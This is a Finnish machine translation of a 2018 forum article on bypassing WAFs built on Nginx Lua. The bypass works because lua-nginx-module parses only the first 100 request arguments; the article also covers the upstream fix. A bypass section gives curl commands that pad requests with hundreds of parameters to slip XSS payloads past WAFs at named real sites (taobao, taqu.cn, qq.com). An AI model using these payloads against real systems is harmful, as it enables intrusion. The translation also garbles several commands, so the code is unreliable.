Tämä artikkeli on konekäännöksen peiliartikkeli, klikkaa tästä siirtyäksesi alkuperäiseen artikkeliin.

Näkymä: 16994|Vastaus: 1

[Tietoturva-aukko] Nginx Luan WAF-sovelluksen palomuurihaavoittuvuus

[Kopioi linkki]
Julkaistu 27.4.2018 9.23.29 | | | |
Kun ginx Lua saa parametrit, ensimmäiset 100 parametriarvoa saadaan oletuksena, ja loput hylätään.
Siksi Nginx Luaa käyttävät WAF:t ohitetaan oletuksena.
20. huhtikuuta 18. huhtikuuta joku turvamatkustajalla oli jo paljastanut tämän yksityiskohdan, joten julkaisin myös tämän artikkelin 233.



Periaate

Virallinen kuvaus on seuraava

Huomaa, että oletuksena jäsennellään enintään 100 pyyntöargumenttia (mukaan lukien samannimiset) ja että lisäpyyntöargumentit hylätään hiljaisesti suojatakseen mahdollisilta mahdollisilta Palvelunestohyökkäykset.

Oletuksena voidaan jäsentää jopa 100 pyyntöparametria (mukaan lukien samannimiset), ja lisäpyyntöparametrit poistetaan automaattisesti estääkseen mahdolliset palvelunestohyökkäykset.

Hae 100, suunnilleen seuraava menetelmä aiheuttaa saman ongelman.
ngx.req.get_uri_args Hanki pyyntöparametrit saamiseksi
ngx.req.get_post_args Hanki pyyntöparametrit postaukseen
ngx.req.get_headers Hanki pyyntöotsikko
ngx.decode_args Dekoodaa parametrien URL-osoite
ngx.resp.get_headers Hanki vastausotsikko
Lua-nginx-moduulin lähdekoodissa näemme, että lähdekoodi asettaa oletusarvoisen maksimipyyntöparametrin ja otsikon arvoon 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Kuitenkin virkamies tarjoaa menetelmän oletusarvon muokkaamiseen, kuten ngx.req.get_uri_args (200) saadakseen ensimmäiset 200 pyyntöparametria.

Testi

Jos pyyntöparametri on 101, viimeistä pyyntöparametria ei voida saada.

Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Jos pienennät yhden pyyntöparametrin, saat viimeisen pyyntöparametrin, kun pyyntöparametrit ovat täsmälleen 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
V: ZBG
Sain sinut kiinni, zbg

Huomaa, että oletusarvo on todellakin 100 pyyntöparametria, ja pyyntöparametrit 100 pyynnön jälkeen hylätään.

On outoa, että yllä olevassa palautussisällössä, karkean sijainnin keskellä, viimeinen zbg-parametri on jo tulostettu. Arvaukseni on, että tulos ei ole oikeassa järjestyksessä, mutta jäsentämisjärjestys noudattaa parametrien lähettämisjärjestystä, koska kun 101. parametrin arvo on zbg, arvoa ei voida saada.

Liitteenä on python-skripti, joka generoi parametrit:

# Kirjoittaja: ZBG
# Posti:zbg@zbg.org
# päivämäärä: 2018-04-03

a = ''
i:lle alueella(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Tulosta a
korjaus
Tietenkään ei suositella muuttamaan parametrin MAX-arvoa lähdekoodissa. Koska riippumatta siitä, kuinka suuri arvo asetetaan, sen voi ohittaa. On suositeltavaa asettaa se menetelmän parametrien avulla.
Jos saisit pyyntöparametrin pituuden ja käyttäisit menetelmää kuten ngx.req.get_uri_args (pituus), eikö se riittäisi?
Lukiessani dokumentaatiota huomasin, että pyydettyjen parametrien määrää ei saatu saataville. Kuitenkin, jos asetat pituuden arvoksi 0, saat kaikki pyydetyt parametrit.

Tämän argumentin voi asettaa nollaksi poistaakseen rajan ja käsittelemään kaikki vastaanotetut pyyntöargumentit.
paikalliset args = ngx.req.get_uri_args(0)

Kuitenkin sitä ei suositella asettamaan nollaan mahdollisten palvelunestohyökkäysten estämiseksi.

max_args-korkin poistamista ei suositella lainkaan.

Itse asiassa mietin, miksi asetus 0 johtaisi mahdolliseen palvelunestohyökkäykseen, ja pyyntö menisi nginxille joka tapauksessa, riippumatta siitä, kuinka monta parametria getissä tai postissa oli.

Nostin asian viranomaiselle, ja kirjoittaja sanoi, että ngx.req.get_uri_args (0) lisää palvelimen suorittimen ja muistin käyttöä. Myöhemmin testasin 200 parametria ja käytin Nginx+php:tä saadakseni 200. parametrin, mikä tarkoittaa, että Nginx ei rajoita pyydettyjen parametrien määrää oletuksena. Silloin ongelma saattaa olla itse Nginx Luassa,Kun Nginx Lua käyttää ngx.req.get_uri_args(0):ää saadakseen kaikki parametrit ja käydäkseen niistä läpi, kun parametreja on paljon, se kuluttaa enemmän prosessoria ja muistia, ja lopulta johtaa jopa palveluestoon

04.03.2018 Bypass007 nosti virallisesti esiin ONGELMAN tästä bugikorjauksesta ja lisäsi vihdoin virallisesti uuden ominaisuuden tämän ONGELMAN pohjalta 21.4.2018. Tämän funktion commit-tietueosoite: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Funktion kuvaus on seuraava: versioissa v0.10.13:n jälkeen (mukaan lukien v0.10.13), kun pyyntöjen rajamäärä rikotaan, toinen palautusarvo on katkaistu merkkijono.
V0.10.13:sta lähtien, kun raja ylittyy, se palauttaa toisen arvon, joka on merkkijono "trunkated".
Kuitenkin valinnaista max_args-funktioargumenttia voidaan käyttää tämän rajan ylittämiseen:
paikalliset arg:t, err = ngx.req.get_uri_args(10)
if err == "trunkattu", niin
     -- täällä voi valita ohittaako tai hylätä nykyisen pyynnön
loppu

Joten lopullinen korjaus tuli ulos.

Päivitä lua-nginx-moduuli versioon v0.10.13 tai uudempi

Sitten rajoita parametrien kokonaismäärää, sillä kuinka paljon kokonaismäärä on rajattu, mielestäni 100 riittää

OpenResty päivittää lua-nginx-moduulimoduulin

En löytänyt mitään tietoa OpenResty-päivitysmoduulista, joten keksin itse, miten päivittää lua-nginx-moduuli.

Vaiheet ovat seuraavat:

Lataa vastaava versio lua-nginx-moduulimoduulista
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
purkaa
tar -zxvf v0.10.13
Poista edellinen lua-nginx-moduuliversio
RM -RF Openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Kopioi uusi lua-nginx-moduuli
MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Kääntämistä varten katso VeryNginxin käännösparametreja


Kotelon ohitus

On syytä selventää, että seuraavien WAF:ien kohdalla en ole varma, pitäisikö käyttää Nginx Luaa, mutta ne voi ohittaa parametrien kokonaismäärällä.

Ali WAF

Tämä WAF on Alibaban sisäisesti käyttämä WAF, eli WAF, jota käyttävät esimerkiksi verkkotunnukset kuten *.taobao.com, eikä sitä ole testattu Alibaba Cloudin myymälle pilvi-WAF:lle.
Ensiksi pyydä POST XSS -hyötykuormaa sieppaamaan se.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
Fuzzin avulla havaittiin, että kun parametrien määrä kasvaa 478:aan, XSS Payloadilla, sitä ei enää siepata ja verkkosivustolle pääsee normaalisti käsiksi.
Curl -V -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=108&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=133&134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&223=224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a==<img src=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Testattu WAF on UCloudin myymä WAF.
Kun pyyntöparametri nostetaan 138:aan, sitä ei enää estetä ja verkkosivustoa käytetään normaalisti.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=108&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=133&134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Tämä WAF on Tencentin sisäinen WAF, eli WAF, jota käyttävät esimerkiksi verkkotunnukset kuten *.qq.com, eikä sitä ole testattu Tencent Cloudin myymälle pilvi-WAF:lle.
Kun pyyntöparametri nousee 4000:een, sitä ei enää estetä ja verkkosivustoa käytetään normaalisti. Seuraavien domainien satunnaistestit kärsivät.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

yhteenveto

Tämä kysymys on hyvin yksinkertainen, ja löydät sen lukemalla asiakirjan huolellisesti. Mutta miksi en saanut tietää? Mielestäni ajattelu on silti liian vähän.
Viite
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Edellinen:Opettele Photoshop alusta alkaen, 18 oppituntia aloittelijasta jumalaksi
Seuraava:Luan ja Luajitin vahvuudet ja heikkoudet
Vastuuvapauslauseke:
Kaikki Code Farmer Networkin julkaisemat ohjelmistot, ohjelmamateriaalit tai artikkelit ovat tarkoitettu vain oppimis- ja tutkimustarkoituksiin; Yllä mainittua sisältöä ei saa käyttää kaupallisiin tai laittomiin tarkoituksiin, muuten käyttäjät joutuvat kantamaan kaikki seuraukset. Tämän sivuston tiedot ovat peräisin internetistä, eikä tekijänoikeuskiistat liity tähän sivustoon. Sinun tulee poistaa yllä oleva sisältö kokonaan tietokoneeltasi 24 tunnin kuluessa lataamisesta. Jos pidät ohjelmasta, tue aitoa ohjelmistoa, osta rekisteröityminen ja hanki parempia aitoja palveluita. Jos rikkomuksia ilmenee, ota meihin yhteyttä sähköpostitse.

Mail To:help@itsvse.com